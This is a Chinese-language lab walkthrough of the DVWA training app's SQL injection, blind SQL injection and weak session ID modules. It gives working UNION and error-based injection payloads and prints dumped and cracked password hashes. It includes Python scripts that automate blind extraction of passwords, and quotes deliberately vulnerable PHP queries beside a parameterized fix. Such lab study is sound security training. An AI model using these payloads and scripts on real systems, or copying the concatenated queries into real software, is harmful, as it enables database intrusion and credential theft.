SQL Injection
SQL注入
SQL注入攻击是指通过客户端向应用程序输入数据中插入或"注入"SQL查询语句。成功的SQL注入攻击可以读取数据库中的敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(如关闭数据库管理系统)、恢复数据库管理系统文件系统中指定文件的内容(load_file),甚至在某些情况下向操作系统发出命令。
SQL注入攻击属于注入攻击的一种,通过将SQL命令注入到数据层输入中,以影响预定义SQL命令的执行。
此类攻击也可简称为"SQLi"。
目标
数据库中有5个用户,ID从1到5。你的任务是......通过SQLi窃取他们的密码。
低级难度
SQL查询使用了攻击者可直接控制的原始输入。攻击者只需转义查询语句,即可执行任意SQL命令。
提示:
?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit中级难度
中级难度采用了"mysql_real_escape_string()"函数进行SQL注入防护。但由于SQL查询参数未用引号包裹,该防护无法完全阻止查询被篡改。
文本框被替换为预定义的下拉列表,并通过POST方法提交表单。
提示:
?id=a UNION SELECT 1,2;-- -&Submit=Submit高级难度
与低级难度非常相似,但此次攻击者通过另一种方式输入数据。输入值通过会话变量经其他页面传递至存在漏洞的查询,而非直接GET请求。
提示:
ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit不可能难度
查询现已参数化(而非动态生成)。这意味着开发者已明确定义查询结构,严格区分代码段与数据部分。
low
普通payload: 'or ='
说明需要引号闭合,且一共有两个回显位置分别是 first name和 surname,即原语句查询两列数据
测试 #/-- 能否正常使用:
1' OR 1=1#、1'OR 1=1-- 

使用 order by验证查询列数


1'order by 2#成功回显了,说明至少有两列 1'order by 3#报错,说明查询列数不超过3列,即只有两列
UNION
测试UNION查询 查询数据库 'UNION SELECT DATABASE(),null #(null的作用是占据一个回显位置,避免报错,使用UNION时两个SELECT语句的列数必须相同,对应列的数据类型必须兼容)
获得数据库名 dvwa
接下来获取表名:
mysql
'UNION SELECT null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() #

表名:users
获取列名
mysql
'UNION SELECT null,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' #

所需的用户信息列:user,password
用户名及密码
mysql
'UNION SELECT GROUP_CONCAT(user),GROUP_CONCAT(password) FROM dvwa.users #

asciiarmor
ID: 'UNION SELECT GROUP_CONCAT(user), GROUP_CONCAT(password) FROM dvwa.users #
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

小写字母+数字且有32位,大概率MD5
分别拿去解密


。。。。。。
整理得:
| 用户名 | 密码(MD5) | 密码 |
|---|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
报错注入
唯一键冲突
GROUP BY子句中使用RAND()函数时,如果RAND()在分组过程中被多次计算,可能引发"Duplicate entry"错误,且错误信息会包含RAND()的计算值
sql
SELECT COUNT(*) FROM information_schema.tables GROUP BY RAND();
在此基础上尝试泄露数据库
sql
SELECT COUNT(*), CONCAT(database(), RAND()) x FROM information_schema.tables GROUP BY x;
RAND()是真正随机的,使用 RAND(0),提高触发错误概率,而 FLOOR(RAND(0)*2)的返回值序列是 0, 1, 1, 0... ,概率进一步提高
处理第一行数据,第一次计算x值:CONCAT('dvwa',0) = 'dvwa0'。系统尝试在临时表中为'dvwa0'创建分组
在处理同一行或后续行的分组插入/校验时,第二次计算 x值:CONCAT('dvwa',1) = 'dvwa1'
原本要放进'dvwa0'分组的数据,现在键值变成了'dvwa1',导致系统试图将一行数据插入到一个与最初判断不同的分组中,从而在内部临时表引发了重复键或一致性冲突
COUNT(*)会对每个分组计数,返回每个分组中的行数,增加了 **RAND()**计算的机会
sql
SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
但 GROUP BY 返回多行多列,而子查询需返回一个值判断true或false,子查询语法是错误的,无法从报错信息获取有效信息,于是就将此语句作为内层查询,使用外层查询(SELECT 1 FROM (内层查询)y),将内层查询作为一个派生表y,包装成语法正确的语句,内层查询语句会完整执行,触发了键值冲突,因此外层查询根本不会返回多行数据,避免了 **Operand should contain 1 column(s)**的报错,自始至终只有键值冲突的报错,而键值就是我们想要的有用信息
mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

所以
mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

要一个一个的获取,有点麻烦,使用 SUBSTRING()
mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(table_name),1,50)FROM information_schema.tables WHERE table_schema=database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(column_name),1,50)FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(user),1,50)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

计算密码总长度
mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT LENGTH(GROUP_CONCAT(password))FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),1,164)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

**5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f26085367892...**长度为64,从62开始继续取值
mysql
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),62,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),125,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#


将密码拼接得到
5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
extractvalue()
mysql
1'AND extractvalue(1,concat(0x7e,database())) #

数据库引擎会尝试执行extractvalue(1, '~dvwa')。由于第一个参数1不是合法XML,更重要的是,~dvwa作为一个XPath表达式是无效的语法 (~是非法字符,hex编码为 0x7e ),这会导致extractvalue()函数执行出错。MySQL在报告这个XPath语法错误时,会将出错的XPath字符串(即concat函数的结果)包含在错误信息中一并返回。
mysql
1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,32)FROM users))) #
# 5f4dcc3b5aa765d61d8327deb882
1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),29,31)FROM users))) #
# cf99,e99a18c428cb38d5f260853678
1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),60,31)FROM users))) #
# 678922e03,8d3533d75ae2c3966d
......


。。。
updatexml()
跟 extractvalue()一样都是XPATH报错,原理差不多
mysql
1'AND updatexml(1,concat(0x7e,database()),1) #
1'AND updatexml(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,31) from users)),1) #


其他
几何函数
mysql
1' AND ST_LatFromGeoHash(database()) #

但是通过报错也知道,此函数不存在,只能获得数据库名称,任何不存在的函数都有可能产生类似报错
MySQL 5.7+:对空间函数参数检查更严格,所以__geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring()__等都不行
堆叠注入
mysql
1';SELECT database(),null #

看来不行
宽字节
显示使用UTF-8,这也不行
low.php
PHP
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
漏洞点出在
php
......
$id = $_REQUEST[ 'id' ];
......
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
直接拼接attacker输入的id,没有任何过滤,完全可以构造任意payload
medium
试使用引号闭合
去掉引号
这是数字型的,不用引号闭合

没什么特别的,方法在low等级已经试的差不都了
medium.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
从代码来看,漏洞点主要比low.php少了引号
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php
high
这次将输入框独立,除此之外好像没什么改进,跟low等级差不多


high.php
php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
依旧跟前面两关卡一样直接拼接用户输入的id进行查询,多加了个limit 1,可惜注释符 -- /#能用
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php
impossible
impossible.php
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
此关使用了参数化查询,跟前面3关大不相同,没法注入了
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); //impossible.php
SQL Injection (Blind)
SQL盲注
当攻击者执行SQL注入攻击时,服务器有时会返回数据库服务器的错误信息,提示SQL查询语法不正确。盲注与普通SQL注入类似,区别在于当攻击者试图利用应用程序漏洞时,他们不会收到有用的错误消息,而是看到开发者指定的通用页面。这使得利用潜在的SQL注入攻击更加困难,但并非不可能。攻击者仍然可以通过SQL语句提出一系列真假问题,并观察Web应用程序的响应(返回有效条目或设置404标头)来窃取数据。
当页面响应没有明显差异时(因此称为盲注),通常会使用"基于时间"的注入方法。这意味着攻击者会等待观察页面响应所需的时间。如果响应时间比正常情况长,则说明他们的查询成功了。
目标
通过SQL盲注攻击找出SQL数据库软件的版本。
低级
SQL查询使用了由攻击者直接控制的原始输入。他们只需要转义查询,就可以执行任何SQL查询。
提示:?id=1' AND sleep 5&Submit=Submit
中级
中级防护使用了"mysql_real_escape_string()"函数进行SQL注入保护。但由于SQL查询参数周围没有引号,这并不能完全防止查询被篡改。
文本框已被预定义的下拉列表取代,并使用POST提交表单。
提示:?id=1 AND sleep 3&Submit=Submit
高级
这与低级非常相似,但这次攻击者以不同的方式输入值。输入值是在另一个页面上设置的,而不是通过GET请求。
提示:ID: 1' AND sleep 10&Submit=Submit
提示:应该能够绕过中间环节...
不可能级别
查询现在已参数化(而不是动态的)。这意味着查询由开发者定义,并且区分了哪些部分是代码,其余部分是数据。
跟前面的SQL注入关卡一样,只不过只能判断存不存在,全靠自己猜
low
共有3中回显
-
存在
User ID exists in the database.

-
不存在
User ID is MISSING from the database.

-
错误
There was an error.

布尔盲注
mysql
#直接猜
1'AND (SELECT database())='dvwa'--
1'AND SUBSTRING((SELECT database()),1,10)='dvwa
#ASCII逐字猜
1'AND ASCII(SUBSTRING((SELECT database()),1,1))=100 --
#d的ASCII编码为100

脚本:
python
import time
import requests
import threading
# 配置
CONFIG = {
'url': "http://192.168.179.131:4280/vulnerabilities/sqli_blind/",
'cookies': {
'PHPSESSID': '20222b76809e068b075f172e739242ad',
'security': 'low'
},
'headers': {
'User-Agent': 'Mozilla/5.0'
},
# 线程配置
'max_threads': 6, # 最大并发线程数
'thread_delay': 0.1, # 线程启动间隔(秒)
# 时间间隔配置
'request_delay': 0.05, # 每次请求间隔(秒)
'batch_delay': 0.1, # 批次间延迟(秒)
'error_delay': 0.1, # 错误重试延迟(秒)
# SQL注入配置
'max_length': 200, # 最大字符长度
'ascii_range': (32, 126), # ASCII字符范围
# 目标配置
'target': 'SELECT group_concat(password) FROM users',
'success_indicator': 'User ID exists' # 成功判断标志
}
result = ""
def find_char(pos):
low, high = CONFIG['ascii_range']
while low <= high:
mid = (low + high) // 2
time.sleep(CONFIG['request_delay'])
# 使用配置的目标和SQL语法
payload = f"1' AND ascii(substring(({CONFIG['target']}),{pos},1))>{mid}-- "
params = {'id': payload, 'Submit': 'Submit'}
try: #get方法
r = requests.get(CONFIG['url'], params=params, cookies=CONFIG['cookies'],
headers=CONFIG['headers'], timeout=5)
# 使用配置的成功判断标志
if CONFIG['success_indicator'] in r.text:
low = mid + 1
else:
high = mid - 1
except Exception as e:
print(f"请求错误: {e}")
time.sleep(CONFIG['error_delay'])
char_ascii = low
return (chr(char_ascii), char_ascii) if CONFIG['ascii_range'][0] < char_ascii <= CONFIG['ascii_range'][1] else (None, char_ascii) #不包含空格
start_time = time.time()
for batch_start in range(1, CONFIG['max_length'] + 1, CONFIG['max_threads']):
threads, results = [], {}
for i, pos in enumerate(range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1))):
def thread_func(p):
results[p] = find_char(p)
t = threading.Thread(target=thread_func, args=(pos,))
threads.append(t)
t.start()
# 线程启动间隔
if i < CONFIG['max_threads'] - 1 and pos < CONFIG['max_length']:
time.sleep(CONFIG['thread_delay'])
for t in threads:
t.join()
empty_found = False
for pos in range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1)):
if pos in results:
char, ascii_val = results[pos]
if char:
result += char
print(f"{pos}: '{char}' (ASCII:{ascii_val}), 结果: {result}")
else:
print(f"位置{pos}: 超出范围({ascii_val})")
empty_found = True
else:
empty_found = True
if empty_found:
break
# 批次间延迟
if batch_start + CONFIG['max_threads'] <= CONFIG['max_length']:
time.sleep(CONFIG['batch_delay'])
print(f"\n最终结果: {result}")
print(f"总耗时: {time.time() - start_time:.2f} 秒")

。。。。。。
时间盲注
当没有任何回显的时候,只能通过响应时间来判断真假
mysql
1'AND IF((SELECT database())='dvwa',SLEEP(5),0)--
1'AND IF((SELECT database())='dvwa',SLEEP(0.6),0)--


low.php
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
跟前面的low等级一样,只不过回显固定了
medium
也是数字型的
mysql
1 AND ASCII(SUBSTRING(database(),1,1))=100--

方法跟low等级一样,在low等级的脚本中稍微做些修改
python
# get方法
r = requests.get(url, params=data) # GET + params
# post方法
r = requests.post(url, data=data) # POST + data
所以把get改为post,params改为data,等级改为medium,payload去掉引号即可
medium.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
high
跟low等级差不多,只是输入输出界面分离了,但是发现是通过cookie传入id的

可以直接把此关当作low等级看待
python
import requests
import threading
# 配置
url = "http://192.168.179.131:4280/vulnerabilities/sqli_blind/"
cookies = {
'PHPSESSID': 'f97e23b7eb5ead582d6ba804930945e7',
'security': 'high',
'id': '1'
}
result = ""
def find_char(pos):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
# payload通过Cookie传递
payload = f"1' AND ascii(substring((SELECT group_concat(password) FROM users),{pos},1))>{mid}# "
cookies['id'] = payload
r = requests.get(url, cookies=cookies)
if 'User ID exists' in r.text:
low = mid + 1
else:
high = mid - 1
return chr(low) if 32 < low <= 126 else None
# 多线程处理
for batch in range(1, 201, 6):
threads, results = [], {}
for pos in range(batch, min(batch + 6, 201)):
def thread_func(p):
results[p] = find_char(p)
t = threading.Thread(target=thread_func, args=(pos,))
threads.append(t)
t.start()
for t in threads:
t.join()
for pos in range(batch, min(batch + 6, 201)):
if pos in results and results[pos]:
result += results[pos]
print(f"{pos}: {results[pos]}, 结果: {result}")
else:
break
print(f"\n最终结果: {result}")

high.php
php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
$result = false;
}
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
可知,此关跟low等级几乎无差别,只是不存在的话会延时,增加了代码爆破的时间
impossible
impossible.php
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();
$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这关使用预处理语句防止SQL注入的同时,也生成CSRF令牌且查询后生成新的CSRF令牌防止了CSRF攻击,也防止令牌重用
Weak Session IDs
弱会话ID
会话ID通常是用户登录后访问网站时唯一需要的凭证。如果该会话ID可以被计算或轻易猜测,那么攻击者将无需暴力破解密码或寻找其他漏洞(如跨站脚本),就能轻松获取用户账户的访问权限。
目标
本模块通过四种不同方式设置
dvwaSession的cookie值。每个级别的目标是分析ID的生成方式,并推断其他系统用户的ID。低级
cookie值应具有明显的可预测性。
中级
该值看起来比低级更随机,但如果收集多个样本,应能发现规律。
高级
首先判断值的格式,然后尝试分析生成这些值的输入源。
cookie中还添加了额外标志,这不会影响挑战,但展示了可用于增强cookie保护的额外防护措施。
不可能级
此级别的cookie值应无法预测,但仍可自由尝试。
除了额外标志外,cookie还与挑战的域名和路径绑定。
low
每一次"generate","dvwaSession"的值都会+1,所以非常好预测,所以cookie值为简单的数字,在实际情况中,如果cookie仅有一个值且可预测,则可以访问,但由于此靶场的特殊性,难以通过此方法获取其他用户的访问权限
low.php
php
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
看到 $_SESSION['last_session_id']++;,说明cookie值极易预测,有递增的规律
medium
这一关发现cookie为17开头且不是很长,猜测是时间戳
解出来的时间正好在生成cookie的时间左右
因此此关生成的cookie依旧是时间戳,可以预测
medium.php
php
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
代码已经很短了,没必要解析了
high
生成cookie,发现请求没有dvwaSession,而在回显之中
跟md5很像,拿去试着解密
结果为16这样的简单数字(开始也试过解出PHPSESSID,但是没有结果)
再次请求

所以本关的dvwaSession跟low等级差不多,只是进行了md5加密,可以预测
high.php
php
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
